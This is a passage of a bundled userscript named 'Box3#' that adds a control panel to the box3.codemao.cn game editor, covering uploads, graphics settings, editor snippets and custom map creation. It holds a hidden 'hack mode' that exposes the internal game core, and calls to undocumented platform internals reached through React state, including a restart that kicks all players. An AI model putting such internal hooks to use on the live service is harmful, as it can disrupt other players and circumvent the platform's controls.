  3978. for (let i = 0; i < input.files.length; i++) {
  3979. let isRetry = false;
  3980. const file = input.files.item(i);
  3981. if (!file)
  3982. return;
  3983. do {
  3984. try {
  3985. result.push({
  3986. ...await uploadHash(file, file.name),
  3987. filename: file.name
  3988. });
  3989. isRetry = false;
  3990. } catch (e) {
  3991. const res = e;
  3992. await Swal.fire({
  3993. title: `上传失败`,
  3994. text: `${res.status} ${res.statusText}
  3995. ${await res.text()} 即将重试`,
  3996. timer: 3e3,
  3997. icon: "error"
  3998. });
  3999. isRetry = true;
  4000. }
  4001. } while (isRetry);
  4002. }
  4003. ok(result);
  4004. });
  4005. });
  4006. }
  4007. function sleep(ms) {
  4008. return new Promise((r) => setTimeout(r, ms));
  4009. }
  4010. async function uploadHash(data, name = "") {
  4011. const removeLoading = startLoading("正在上传" + name);
  4012. const res = await fetch("https://static.box3.codemao.cn/block", {
  4013. method: "POST",
  4014. body: data
  4015. });
  4016. removeLoading();
  4017. if (res.ok)
  4018. return await res.json();
  4019. else
  4020. throw res;
  4021. }
  4022. async function waitElement(query) {
  4023. let el;
  4024. while (true) {
  4025. el = document.querySelector(query);
  4026. if (el)
  4027. return el;
  4028. await new Promise(requestAnimationFrame);
  4029. }
  4030. }
  4031. async function waitUntil(f) {
  4032. while (!f())
  4033. await new Promise(requestAnimationFrame);
  4034. }
  4035. const defaultConfig = {
  4036. "ui.opacity": 1,
  4037. "ui.width": 400,
  4038. "flag.hackMode": false,
  4039. "ui.primaryColor": "#4174ff",
  4040. "ui.blur": 5,
  4041. "ui.borderRound": true,
  4042. "magicCursor.enable": true,
  4043. "magicCursor.color": "#4174ff",
  4044. "magicCursor.rippleColor": "#42e9ff",
  4045. "magicCursor.opacity": 0.5,
  4046. "ui.windowPos": [0, 0]
  4047. };
  4048. let settings = {
  4049. ...defaultConfig,
  4050. ...GM_getValue("settings", {})
  4051. };
  4052. function getSetting(k) {
  4053. return { ...settings }[k];
  4054. }
  4055. function setSetting(k, v) {
  4056. Object.assign(settings, { [k]: v });
  4057. saveSettings();
  4058. }
  4059. function saveSettings() {
  4060. GM_setValue("settings", settings);
  4061. }
  4062. function resetSettings() {
  4063. GM_setValue("settings", defaultConfig);
  4064. location.reload();
  4065. }
  4066. function reloadSettings() {
  4067. settings = GM_getValue("settings", defaultConfig);
  4068. }
  4069. function addFunctionButton(gui2, func, name) {
  4070. const btn = gui2.add(
  4071. {
  4072. func: () => {
  4073. btn.name("⏳ 正在执行操作...");
  4074. btn.disable();
  4075. func().then(() => {
  4076. btn.name(name);
  4077. btn.enable();
  4078. });
  4079. }
  4080. },
  4081. "func"
  4082. ).name(name);
  4083. }
  4084. function addLabel(gui2, name) {
  4085. const btn = gui2.add(
  4086. {
  4087. func: () => {
  4088. }
  4089. },
  4090. "func"
  4091. ).name(name);
  4092. btn.disable();
  4093. return btn;
  4094. }
  4095. function setupMagicCursor() {
  4096. Promise.resolve().then(() => magicCursorStyle$1);
  4097. function addStyle() {
  4098. const style2 = document.createElement("style");
  4099. style2.textContent = "*{cursor:none !important;}";
  4100. document.body.appendChild(style2);
  4101. }
  4102. addStyle();
  4103. const canvas = document.createElement("canvas");
  4104. const ctx = canvas.getContext("2d");
  4105. let mousePos = [0, 0];
  4106. let pos = [0, 0];
  4107. const MAX_LENGTH = 30;
  4108. let points = [];
  4109. const ripples = [];
  4110. function resize() {
  4111. canvas.height = innerHeight * devicePixelRatio;
  4112. canvas.width = innerWidth * devicePixelRatio;
  4113. }
  4114. addEventListener("resize", resize);
  4115. document.body.addEventListener("mousemove", ({ clientX, clientY }) => {
  4116. mousePos = [clientX * devicePixelRatio, clientY * devicePixelRatio];
  4117. });
  4118. addEventListener("mousedown", () => {
  4119. ripples.push([...mousePos, 0]);
  4120. });
  4121. addEventListener("wheel", ({ deltaY }) => {
  4122. pos[1] -= deltaY * 0.1;
  4123. });
  4124. resize();
  4125. canvas.classList.add("magic-cursor-canvas");
  4126. document.body.append(canvas);
  4127. function frame() {
  4128. if (document.pointerLockElement) {
  4129. canvas.style.opacity = "0";
  4130. mousePos = [
  4131. innerWidth * devicePixelRatio / 2,
  4132. innerHeight * devicePixelRatio / 2
  4133. ];
  4134. } else {
  4135. canvas.style.opacity = settings["magicCursor.opacity"].toString();
  4136. }
  4137. ctx.clearRect(0, 0, canvas.width, canvas.height);
  4138. requestAnimationFrame(frame);
  4139. pos[0] += (mousePos[0] - pos[0]) / 5;
  4140. pos[1] += (mousePos[1] - pos[1]) / 5;
  4141. ctx.lineJoin = "round";
  4142. ctx.lineCap = "round";
  4143. for (let i = 0; i < points.length; i++) {
  4144. const a = i / MAX_LENGTH;
  4145. ctx.beginPath();
  4146. if (i > 0)
  4147. ctx.moveTo(points[i - 1][0], points[i - 1][1]);
  4148. ctx.lineTo(points[i][0], points[i][1]);
  4149. ctx.strokeStyle = `${settings["magicCursor.color"]}${Math.round(a * 255).toString(16).padStart(2, "0")}`;
  4150. ctx.lineWidth = a * 20;
  4151. ctx.closePath();
  4152. ctx.stroke();
  4153. }
  4154. for (let r of ripples) {
  4155. ctx.beginPath();
  4156. ctx.arc(r[0], r[1], r[2] * 30, 0, Math.PI * 2);
  4157. ctx.fillStyle = `${settings["magicCursor.rippleColor"]}${Math.round(
  4158. (1 - r[2]) * 255
  4159. ).toString(16).padStart(2, "0")}`;
  4160. ctx.closePath();
  4161. ctx.fill();
  4162. r[2] += (1 - r[2]) / 10;
  4163. }
  4164. for (let i = 0; i < ripples.length; i++) {
  4165. if (ripples[i][2] >= 0.999)
  4166. ripples.splice(i, 1);
  4167. }
  4168. ctx.closePath();
  4169. points.push([...pos]);
  4170. ctx.beginPath();
  4171. ctx.arc(mousePos[0], mousePos[1], 3, 0, Math.PI * 2);
  4172. ctx.fillStyle = settings["magicCursor.rippleColor"];
  4173. ctx.closePath();
  4174. ctx.fill();
  4175. while (points.length > MAX_LENGTH) {
  4176. points.splice(0, 1);
  4177. }
  4178. }
  4179. frame();
  4180. }
  4181. function HashTools(gui2) {
  4182. const f = gui2.addFolder("Hash工具");
  4183. f.close();
  4184. addFunctionButton(
  4185. f,
  4186. async () => {
  4187. const input = document.createElement("input");
  4188. input.type = "file";
  4189. input.style.opacity = "0";
  4190. document.body.append(input);
  4191. input.click();
  4192. input.addEventListener("change", async () => {
  4193. const file = input.files[0];
  4194. input.remove();
  4195. if (!file)
  4196. return;
  4197. try {
  4198. const obj = await uploadHash(file);
  4199. navigator.clipboard.writeText(obj.Key);
  4200. if ((await Swal.fire({
  4201. title: "上传完成",
  4202. html: `HashKey: ${obj.Key}<br/>大小: ${obj.Size}<br/>已将Hash复制到剪贴板`,
  4203. cancelButtonText: "关闭",
  4204. confirmButtonText: "打开Hash链接",
  4205. showCancelButton: true,
  4206. icon: "info"
  4207. })).isConfirmed)
  4208. open(`https://static.box3.codemao.cn/block/${obj.Key}`);
  4209. } catch (e) {
  4210. const res = e;
  4211. Swal.fire(
  4212. `上传失败`,
  4213. `${res.status} ${res.statusText}
  4214. ${await res.text()}`,
  4215. "error"
  4216. );
  4217. }
  4218. });
  4219. },
  4220. "上传文件"
  4221. );
  4222. const f2 = f.addFolder("打开Hash");
  4223. addFunctionButton(
  4224. f2,
  4225. async () => {
  4226. const text = (await navigator.clipboard.readText()).trim();
  4227. if (!/^Qm[a-zA-Z0-9]+$/.test(text))
  4228. return Swal.fire(
  4229. "Hash无效",
  4230. `剪贴板中的内容并不是一个有效的hash`,
  4231. "error"
  4232. );
  4233. open(`https://static.box3.codemao.cn/block/${text}`);
  4234. return;
  4235. },
  4236. "打开剪贴板中的hash"
  4237. );
  4238. }
  4239. const _HashTools = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4240. __proto__: null,
  4241. default: HashTools
  4242. }, Symbol.toStringTag, { value: "Module" }));
  4243. function updateUIProperty() {
  4244. const element = document.querySelector(".lil-gui.root");
  4245. element.style.opacity = settings["ui.opacity"].toString();
  4246. element.style.width = settings["ui.width"].toString() + "px";
  4247. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4248. element.style.setProperty(
  4249. "--border-radius",
  4250. settings["ui.borderRound"] ? "5px" : "0"
  4251. );
  4252. element.style.setProperty("--blur", settings["ui.blur"].toString() + "px");
  4253. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4254. element.style.setProperty("--primary-color", settings["ui.primaryColor"]);
  4255. }
  4256. function Box3SharpConfig(gui2) {
  4257. updateUIProperty();
  4258. const f = gui2.addFolder("Box3#设置");
  4259. f.close();
  4260. let enableHackClickCount = 0;
  4261. if (!getSetting("flag.hackMode"))
  4262. f.add(
  4263. {
  4264. async f() {
  4265. enableHackClickCount++;
  4266. if (enableHackClickCount == 10) {
  4267. if ((await Swal.fire({
  4268. title: "Enable Hack Mode",
  4269. text: "启用后所造成的一切后果均需要自行承担",
  4270. icon: "warning",
  4271. showConfirmButton: true,
  4272. showCancelButton: true,
  4273. confirmButtonText: "Enable and reload",
  4274. cancelButtonText: "取消"
  4275. })).isConfirmed) {
  4276. setSetting("flag.hackMode", true);
  4277. location.reload();
  4278. } else
  4279. enableHackClickCount = 0;
  4280. }
  4281. }
  4282. },
  4283. "f"
  4284. ).name("▰▰▰ Box3 Sharp ▰▰▰");
  4285. else
  4286. f.add(
  4287. {
  4288. f() {
  4289. setSetting("flag.hackMode", false);
  4290. location.reload();
  4291. }
  4292. },
  4293. "f"
  4294. ).name("Disable Hack Mode");
  4295. f.add(settings, "ui.opacity", 0.1, 1).name("UI透明度").onChange(updateUIProperty);
  4296. f.add(settings, "ui.width", 200, 800).name("UI宽度").onFinishChange(updateUIProperty);
  4297. f.addColor(settings, "ui.primaryColor").name("主题颜色").onChange(updateUIProperty);
  4298. f.add(settings, "ui.blur", 0, 10).name("背景模糊度").onChange(updateUIProperty);
  4299. f.add(settings, "ui.borderRound").name("控件圆角").onFinishChange(updateUIProperty);
  4300. const mcf = f.addFolder("鼠标特效");
  4301. mcf.add(settings, "magicCursor.enable").name("启用鼠标特效(需要刷新)");
  4302. mcf.addColor(settings, "magicCursor.color").name("光标拖尾颜色");
  4303. mcf.addColor(settings, "magicCursor.rippleColor").name("波纹颜色");
  4304. mcf.add(settings, "magicCursor.opacity", 0.1, 1).name("图层透明度");
  4305. addFunctionButton(
  4306. f,
  4307. async () => {
  4308. saveSettings();
  4309. location.reload();
  4310. },
  4311. "保存并刷新"
  4312. );
  4313. addFunctionButton(
  4314. f,
  4315. async () => {
  4316. reloadSettings();
  4317. location.reload();
  4318. },
  4319. "不保存并刷新"
  4320. );
  4321. addFunctionButton(
  4322. f,
  4323. async () => {
  4324. resetSettings();
  4325. },
  4326. "还原为默认值"
  4327. );
  4328. }
  4329. const _Settings = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4330. __proto__: null,
  4331. default: Box3SharpConfig
  4332. }, Symbol.toStringTag, { value: "Module" }));
  4333. const style = "";
  4334. const swalOverride = "";
  4335. let gui;
  4336. let containerWindowElement = document.createElement("div");
  4337. document.body.append(containerWindowElement);
  4338. let dragHandle = document.createElement("div");
  4339. let windowPos = [...settings["ui.windowPos"]];
  4340. containerWindowElement.append(dragHandle);
  4341. let isPlaneDragging = false;
  4342. containerWindowElement.classList.add("container-window");
  4343. dragHandle.classList.add("handle");
  4344. dragHandle.textContent = "拖动此区域以移动窗口";
  4345. dragHandle.addEventListener("mousedown", () => isPlaneDragging = true);
  4346. function updateWindowPosition() {
  4347. containerWindowElement.style.left = ~~windowPos[0] + "px";
  4348. containerWindowElement.style.top = ~~windowPos[1] + "px";
  4349. }
  4350. updateWindowPosition();
  4351. addEventListener("mousemove", ({ movementX, movementY }) => {
  4352. if (isPlaneDragging) {
  4353. windowPos[0] += movementX;
  4354. windowPos[1] += movementY;
  4355. updateWindowPosition();
  4356. }
  4357. });
  4358. addEventListener("mouseup", () => {
  4359. isPlaneDragging = false;
  4360. if (windowPos[1] < 0)
  4361. windowPos[1] = 0;
  4362. if (windowPos[0] < 0)
  4363. windowPos[0] = 0;
  4364. if (windowPos[1] > innerHeight - 50)
  4365. windowPos[1] = innerHeight - 50;
  4366. if (windowPos[0] > innerWidth - settings["ui.width"])
  4367. windowPos[0] = innerWidth - settings["ui.width"];
  4368. settings["ui.windowPos"] = [...windowPos];
  4369. saveSettings();
  4370. updateWindowPosition();
  4371. });
  4372. function main() {
  4373. gui = new GUI({ width: 400, autoPlace: false });
  4374. containerWindowElement.append(gui.domElement);
  4375. gui.title("Box3#");
  4376. async function matchModule() {
  4377. const matches = {
  4378. "box3.fun": "Box3Fun",
  4379. "/me/content($|.+map)": "MapContent",
  4380. "/p/": "Play",
  4381. "/e/": "Editor"
  4382. };
  4383. for (let r of Object.keys(matches)) {
  4384. if (new RegExp(r).test(location.href)) {
  4385. try {
  4386. const func = (await __variableDynamicImportRuntimeHelper(/* @__PURE__ */ Object.assign({ "./modules/Box3Fun.ts": () => Promise.resolve().then(() => Box3Fun$1), "./modules/Editor.ts": () => Promise.resolve().then(() => Editor$1), "./modules/MapContent.ts": () => Promise.resolve().then(() => MapContent$1), "./modules/Play.ts": () => Promise.resolve().then(() => Play$1), "./modules/_CustomMap.ts": () => Promise.resolve().then(() => _CustomMap$1), "./modules/_HashTools.ts": () => Promise.resolve().then(() => _HashTools), "./modules/_Settings.ts": () => Promise.resolve().then(() => _Settings), "./modules/_graphicSettings.ts": () => Promise.resolve().then(() => _graphicSettings) }), `./modules/${matches[r]}.ts`)).default;
  4387. func(gui);
  4388. } catch (e) {
  4389. addLabel(gui, `❌ 模块 ${matches[r]} 加载失败`);
  4390. console.error(e);
  4391. }
  4392. }
  4393. }
  4394. }
  4395. matchModule();
  4396. HashTools(gui);
  4397. Box3SharpConfig(gui);
  4398. }
  4399. let lastHref = "";
  4400. setInterval(() => {
  4401. if (location.href != lastHref) {
  4402. lastHref = location.href;
  4403. if (gui)
  4404. gui.destroy();
  4405. main();
  4406. }
  4407. }, 100);
  4408. if (settings["magicCursor.enable"])
  4409. setupMagicCursor();
  4410. const magicCursorStyle = "canvas.magic-cursor-canvas {\n height: 100vh;\n width: 100vw;\n position: fixed;\n top: 0;\n left: 0;\n z-index: 9999999999;\n opacity: 0.5;\n pointer-events: none;\n transition: opacity 0.25s;\n}\n";
  4411. const magicCursorStyle$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4412. __proto__: null,
  4413. default: magicCursorStyle
  4414. }, Symbol.toStringTag, { value: "Module" }));
  4415. function Box3Fun(gui2) {
  4416. addFunctionButton(
  4417. gui2,
  4418. async () => {
  4419. startLoading();
  4420. location.href = "https://box3.codemao.cn";
  4421. },
  4422. "跳转到box3.codemao.cn"
  4423. );
  4424. addFunctionButton(
  4425. gui2,
  4426. async () => {
  4427. location.href = "/admin";
  4428. },
  4429. "进入后台(仅限官方)"
  4430. );
  4431. }
  4432. const Box3Fun$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4433. __proto__: null,
  4434. default: Box3Fun
  4435. }, Symbol.toStringTag, { value: "Module" }));
  4436. function GraphicSettings(getCore, state, gui2, needSetSettings = true) {
  4437. const settingsFolder = gui2.addFolder("🎮 高级画质设定").close();
  4438. var VFXSettingsFolder = settingsFolder.addFolder("📈 视觉&性能").close();
  4439. var particleSettingsFolder = settingsFolder.addFolder("💻 后处理特效").close();
  4440. var postProcessSettingsFolder = settingsFolder.addFolder("🎵 音量合成器").close();
  4441. var cameraSettingsFolder = settingsFolder.addFolder("📷 摄像机控制").close();
  4442. var SFXSettingsFolder = settingsFolder.addFolder("✨ 实体粒子数量").close();
  4443. var graphicSettings = state.box3.state.settings;
  4444. [
  4445. VFXSettingsFolder.add(graphicSettings, "resolutionScale", {
  4446. 极低: 0.1,
  4447. 非常低: 0.2,
  4448. 低: 0.3,
  4449. 中: 0.5,
  4450. 高: 0.7,
  4451. 较高: 0.8,
  4452. 全高清: 1,
  4453. "超采样(1.1x)": 1.1,
  4454. "超采样(1.25x)": 1.25,
  4455. "超采样(1.5x)": 1.5,
  4456. "超采样(2.0x)": 2,
  4457. "超采样(2.5x)": 2.5,
  4458. "超采样(3.0x)": 3,
  4459. "超采样(4.0x)": 4
  4460. }).name("清晰度(重进生效)"),
  4461. VFXSettingsFolder.add(
  4462. graphicSettings,
  4463. "animationQuality",
  4464. {
  4465. 低: 0,
  4466. 中: 100,
  4467. 高: 200
  4468. },
  4469. 1
  4470. ).name("动画质量"),
  4471. VFXSettingsFolder.add(graphicSettings, "drawDistance", {
  4472. 非常近: 16,
  4473. 近: 32,
  4474. 中: 64,
  4475. 远: 128,
  4476. 较远: 256,
  4477. 非常远: 512,
  4478. 极远: 1024,
  4479. 荒唐: 2048,
  4480. 疯狂: 4096
  4481. }).name("视野距离"),
  4482. VFXSettingsFolder.add(
  4483. graphicSettings,
  4484. "cameraSensitivity",
  4485. 0.01,
  4486. 3,
  4487. 0.01
  4488. ).name("视角灵敏度"),
  4489. VFXSettingsFolder.add(graphicSettings, "safeShaders").name(
  4490. "安全光影(追求极致效果请关闭)"
  4491. ),
  4492. VFXSettingsFolder.add(graphicSettings, "shadowResolution", {
  4493. 关闭: 0,
  4494. 极低: 128,
  4495. 低: 512,
  4496. 中: 1024,
  4497. 高: 2048,
  4498. 非常高: 4096
  4499. }).name("阴影质量"),
  4500. VFXSettingsFolder.add(graphicSettings, "gamma", 0, 2).name("伽马"),
  4501. VFXSettingsFolder.add(graphicSettings, "lowQualityTextures").name(
  4502. "低质量贴图"
  4503. ),
  4504. VFXSettingsFolder.add(graphicSettings, "hdSky").name("高清天空"),
  4505. VFXSettingsFolder.add(graphicSettings, "reflections").name("反射模式"),
  4506. VFXSettingsFolder.add(graphicSettings, "parallaxMap").name("视差贴图"),
  4507. VFXSettingsFolder.add(
  4508. graphicSettings,
  4509. "parallaxDistance",
  4510. 1,
  4511. 128,
  4512. 0.1
  4513. ).name("视差距离"),
  4514. particleSettingsFolder.add(graphicSettings, "postprocess").name("启用后处理特效"),
  4515. particleSettingsFolder.add(graphicSettings, "depthOfField", {
  4516. 关闭: 0,
  4517. 低: 16,
  4518. 中: 32,
  4519. 高: 64,
  4520. 散光: 128
  4521. }).name("景深强度"),
  4522. particleSettingsFolder.add(graphicSettings, "volumetricScattering").name("体积散射"),
  4523. particleSettingsFolder.add(graphicSettings, "bloom").name("荧光特效"),
  4524. particleSettingsFolder.add(graphicSettings, "fxaa").name("FXAA抗锯齿"),
  4525. postProcessSettingsFolder.add(graphicSettings, "masterMute").name("主音量静音"),
  4526. postProcessSettingsFolder.add(graphicSettings, "masterVolume", 0, 1, 0.01).name("主音量大小"),
  4527. postProcessSettingsFolder.add(graphicSettings, "effectsMute").name("音效静音"),
  4528. postProcessSettingsFolder.add(graphicSettings, "effectsVolume", 0, 1).name("音效音量"),
  4529. postProcessSettingsFolder.add(graphicSettings, "maxSoundEffects", 0, 100, 1).name("最大音效数量"),
  4530. postProcessSettingsFolder.add(graphicSettings, "uiMute").name("界面音效静音"),
  4531. postProcessSettingsFolder.add(graphicSettings, "uiVolume", 0, 1, 0.01).name("界面音效音量"),
  4532. postProcessSettingsFolder.add(graphicSettings, "musicMute").name("背景音乐静音"),
  4533. postProcessSettingsFolder.add(graphicSettings, "musicVolume", 0, 1, 0.01).name("背景音乐音量"),
  4534. SFXSettingsFolder.add(graphicSettings, "maxParticles", 0, 131052, 1).name(
  4535. "最大粒子数量"
  4536. ),
  4537. SFXSettingsFolder.add(
  4538. graphicSettings,
  4539. "maxParticleGroups",
  4540. 0,
  4541. 1024,
  4542. 1
  4543. ).name("最大粒子组数量")
  4544. ].forEach(
  4545. (i) => i.onChange(() => {
  4546. if (needSetSettings)
  4547. getCore().setGameSettings(graphicSettings);
  4548. })
  4549. );
  4550. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "distance", 0, 300).name("摄像机距离");
  4551. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "fovY", 0, 1).name("FovY");
  4552. cameraSettingsFolder.add(state.box3.state.secret.replica.camera, "mode", {
  4553. "第三人称(FOLLOW)": 0,
  4554. "锁定(FIXED)": 1,
  4555. "第一人称(FPS)": 2,
  4556. 固定方向: 3
  4557. }).name("相机模式");
  4558. cameraSettingsFolder.add(state.box3.state.secret.replica, "enableCursor").name("启用3D光标");
  4559. cameraSettingsFolder.add(state.box3.state, "hideUI").name("隐藏界面");
  4560. cameraSettingsFolder.add({ a: 0 }, "a", { 视角锁定: 0, 右键拖动: 1 }).name("相机操作模式").onChange((v) => {
  4561. state.box3.input.setCameraBindingMode(v);
  4562. });
  4563. }
  4564. const _graphicSettings = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4565. __proto__: null,
  4566. default: GraphicSettings
  4567. }, Symbol.toStringTag, { value: "Module" }));
  4568. async function Editor(gui2) {
  4569. const f = gui2.addFolder("编辑器工具");
  4570. const btn = f.add({ a() {
  4571. } }, "a").name("等待进入地图").disable();
  4572. const rootElement = await waitElement("#edit-react");
  4573. function getCore() {
  4574. return rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props;
  4575. }
  4576. await waitUntil(
  4577. () => {
  4578. var _a, _b, _c, _d;
  4579. return !getCore().onStart && ((_d = (_c = (_b = (_a = getCore()) == null ? void 0 : _a.state) == null ? void 0 : _b.box3) == null ? void 0 : _c.state) == null ? void 0 : _d.appState) == 2;
  4580. }
  4581. );
  4582. const core = getCore();
  4583. btn.destroy();
  4584. function place(gui22, obj) {
  4585. for (let k of Object.keys(obj)) {
  4586. const v = obj[k];
  4587. if (typeof v === "object") {
  4588. const f2 = gui22.addFolder(k);
  4589. place(f2, v);
  4590. } else if (typeof v === "string") {
  4591. addFunctionButton(gui22, async () => getCore().scriptEval(v), k);
  4592. }
  4593. }
  4594. }
  4595. if (getSetting("flag.hackMode"))
  4596. Object.assign(window, { core });
  4597. place(f, {
  4598. 编辑器常用控制台代码: {
  4599. 移动: {
  4600. 所有玩家返回重生点: `world.querySelectorAll("player").forEach(e=>e.player.forceRespawn())`,
  4601. 切换幽灵模式: `world.querySelectorAll("player").forEach(e=>e.player.spectator=!e.player.spectator)`,
  4602. 切换飞行模式: `world.querySelectorAll("player").forEach(e=>e.player.canFly=!e.player.canFly)`,
  4603. 提高飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed*=2)`,
  4604. 降低飞行速度: `world.querySelectorAll("player").forEach(e=>e.player.flySpeed/=2)`
  4605. }
  4606. }
  4607. });
  4608. addFunctionButton(
  4609. f,
  4610. async () => {
  4611. const done = startLoading();
  4612. await core.editReplica.stopProject();
  4613. await core.editReplica.startProject();
  4614. done();
  4615. },
  4616. "停止代码并重新开始"
  4617. );
  4618. addFunctionButton(
  4619. f,
  4620. async () => {
  4621. if ((await Swal.fire({
  4622. title: "重启编辑端",
  4623. text: "重启编辑端将会踢出所有玩家并停止编辑器中所有代码,再次启动需要更长时间。仅应用于编辑器卡住等特殊情况,请勿用于恶意用途(重启编辑器需要大约半分钟)",
  4624. confirmButtonText: "确认重启",
  4625. confirmButtonColor: "red",
  4626. showCancelButton: true,
  4627. cancelButtonText: "取消"
  4628. })).isConfirmed) {
  4629. startLoading("正在重启");
  4630. await sleep(2e4);
  4631. core.editReplica.restart();
  4632. location.reload();
  4633. }
  4634. },
  4635. "重启编辑端"
  4636. );
  4637. addFunctionButton(
  4638. f,
  4639. async () => {
  4640. const fileList = await showUploadFile(true, "text/javascript");
  4641. for (let file of fileList) {
  4642. core.assetController.copyAsset(file.filename, {
  4643. contentId: 0,
  4644. hash: file.Key,
  4645. ownerId: 0,
  4646. previewImage: "",
  4647. size: file.Size,
  4648. type: 1
  4649. });
  4650. }
  4651. },
  4652. "批量上传脚本"
  4653. );
  4654. addFunctionButton(
  4655. f,
  4656. async () => {
  4657. const fileList = await showUploadFile(true, "audio/*");
  4658. for (let file of fileList) {
  4659. core.assetController.copyAsset(file.filename, {
  4660. contentId: 0,
  4661. hash: file.Key,
  4662. ownerId: 0,
  4663. previewImage: "",
  4664. size: file.Size,
  4665. type: 6
  4666. });
  4667. }
  4668. },
  4669. "批量上传音频"
  4670. );
  4671. const state = getCore().state;
  4672. GraphicSettings(getCore, state, f, false);
  4673. }
  4674. const Editor$1 = /* @__PURE__ */ Object.freeze(/* @__PURE__ */ Object.defineProperty({
  4675. __proto__: null,
  4676. default: Editor
  4677. }, Symbol.toStringTag, { value: "Module" }));
  4678. function _CustomMap(gui2) {
  4679. const f = gui2.addFolder("自定义地图参数");
  4680. const shapeFolder = f.addFolder("地图尺寸");
  4681. const emptyChunk = "QmYUffAgALxiUQonbhAVXjknTq3dNf3AfHQGQ8P5xny7TU";
  4682. const config = {
  4683. shape: {
  4684. x: 128,
  4685. y: 128,
  4686. z: 128
  4687. },
  4688. enableTriggerAPI: false,
  4689. storageMode: "sqlite",
  4690. scriptIndex: "index.js",
  4691. name: "空白自定义地图"
  4692. };
  4693. const create = async () => {
  4694. const errors = [];
  4695. const V = config.shape.x * config.shape.y * config.shape.z;
  4696. if (V >= 67108864) {
  4697. errors.push("地图总体积不得超过67108864");
  4698. }
  4699. if (!/^.+\.js$/.test(config.scriptIndex)) {
  4700. errors.push("脚本入口错误");
  4701. }
  4702. if (errors.length > 0) {
  4703. return Swal.fire({
  4704. title: `输入有误`,
  4705. html: "您输入的参数存在以下问题<br/>" + errors.map((i) => "⚠ " + i).join("<br/>"),
  4706. icon: "error"
  4707. });
  4708. }
  4709. try {
  4710. let buildVoxelChunks = function() {
  4711. var chunks = [], xx = config.shape.x / 32, yy = config.shape.y / 32, zz = config.shape.z / 32;
  4712. for (let i = 1; i < zz; i++) {
  4713. chunks = chunks.concat(
  4714. new Array(xx - 1).fill(
  4715. "QmY4M7B58dARVAJyYf7aonuGjNnaUFUusCQXq9tmifLEKY"
  4716. )
  4717. );
  4718. chunks.push("Qmcoad9FnMdKGbxn5ifLdCaivVi6T7E2bmDVAdJbwuRD2a");
  4719. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4720. }
  4721. chunks = chunks.concat(
  4722. new Array(xx - 1).fill(
  4723. "QmaCUNCe7XDEnXJqprgikquGk6H5nkMegxi77h2aaRyc2b"
  4724. )
  4725. );
  4726. chunks.push("QmX49DZMGEY9ANyzfbrWhiEKk1hkz9SRpFn2NTKMRUjQzj");
  4727. chunks = chunks.concat(new Array((yy - 1) * xx).fill(emptyChunk));
  4728. return chunks;
  4729. };
  4730. const voxelsHash = (await uploadHash(
  4731. JSON.stringify({
  4732. chunks: buildVoxelChunks(),
  4733. shape: config.shape
  4734. })
  4735. )).Key;
  4736. console.log("Voxels Hash", voxelsHash);
  4737. const projectHash = (await uploadHash(
  4738. JSON.stringify({
  4739. ambientSound: "QmcNbLSSQfVcDpH9jSX38RSVrL1SZK3vNMZwaP7cMkKqvY",
  4740. assets: "QmQ7F5ee4rxLn5UQgjKrrtaX1Qif1P48NxYiSv3damw5G3",
  4741. collisionFilter: [],
  4742. committerId: 0,
  4743. deleteAssets: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4744. editRoot: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN",
  4745. entities: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4746. environment: "QmSnYEH7wPftKcr8qDaBWf5PrbHrqKbqEhTUthQsDuhPqV",
  4747. features: { enableTriggerAPI: config.enableTriggerAPI },
  4748. folders: "QmSvPd3sHK7iWgZuW47fyLy4CaZQe2DwxvRhrJ39VpBVMK",
  4749. info: "QmbpXhRWRMdN4y6CZ4VsPXkkuNfvFSPoSkKn86BVzYh26w",
  4750. physics: "QmTzt6Z6Mm11NQjTeXspDMJtddzDadzwhgwfWUtNG5XCrD",
  4751. player: "QmUMttRLjZYCpW6gLBiLZsCq3VNjWCnK4NtqYaBYJ1GCyh",
  4752. prevHash: "QmcfC4xGX69j1dcgUb3gZS9a9qjCR8aVah1PjQspUVNYvH",
  4753. scriptAssets: "Qmcv3WHWrFohnJXxk2qdV2hk6CE6vQ4BzWMVsE2qFVXV9j",
  4754. scriptIndex: config.scriptIndex,
  4755. storageMode: config.storageMode,
  4756. timestamp: new Date().toISOString(),
  4757. type: "project",
  4758. version: "0.3.11",
  4759. voxels: voxelsHash,
  4760. zones: "QmTgK2uYPscacJ9KaBS8tryXRF5mvjuRbubF7h9bG2GgoN"
  4761. })
  4762. )).Key;
  4763. console.log("Project Hash", projectHash);
  4764. const containerName = await document.querySelector(".app")._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.website.rpc.container.api.createGameEdit(
  4765. { hash: projectHash, name: config.name }
  4766. );
  4767. console.log("Edit container", containerName);
  4768. const editHref = `https://box3.codemao.cn/e/${containerName.slice(5)}`;
  4769. console.log("Edit href", editHref);
  4770. if ((await Swal.fire({
  4771. title: "创建完成",
  4772. text: "已使用自定义参数创建地图",
  4773. icon: "success",
  4774. confirmButtonText: "进入地图"
  4775. })).isConfirmed) {
  4776. location.href = editHref;
  4777. }
  4778. } catch (e) {
  4779. Swal.fire("创建失败", String(e), "error");
  4780. }
  4781. return;
  4782. };
  4783. shapeFolder.add(config.shape, "x", 32, 1024, 1);
  4784. shapeFolder.add(config.shape, "y", 32, 1024, 1);
  4785. shapeFolder.add(config.shape, "z", 32, 1024, 1);
  4786. f.add(config, "enableTriggerAPI").name("启用TriggerAPI");
  4787. f.add(config, "scriptIndex").name("脚本入口文件");
  4788. f.add(config, "storageMode", ["sqlite", "pg"]).name("数据库引擎");
  4789. f.add(config, "name").name("地图名称");
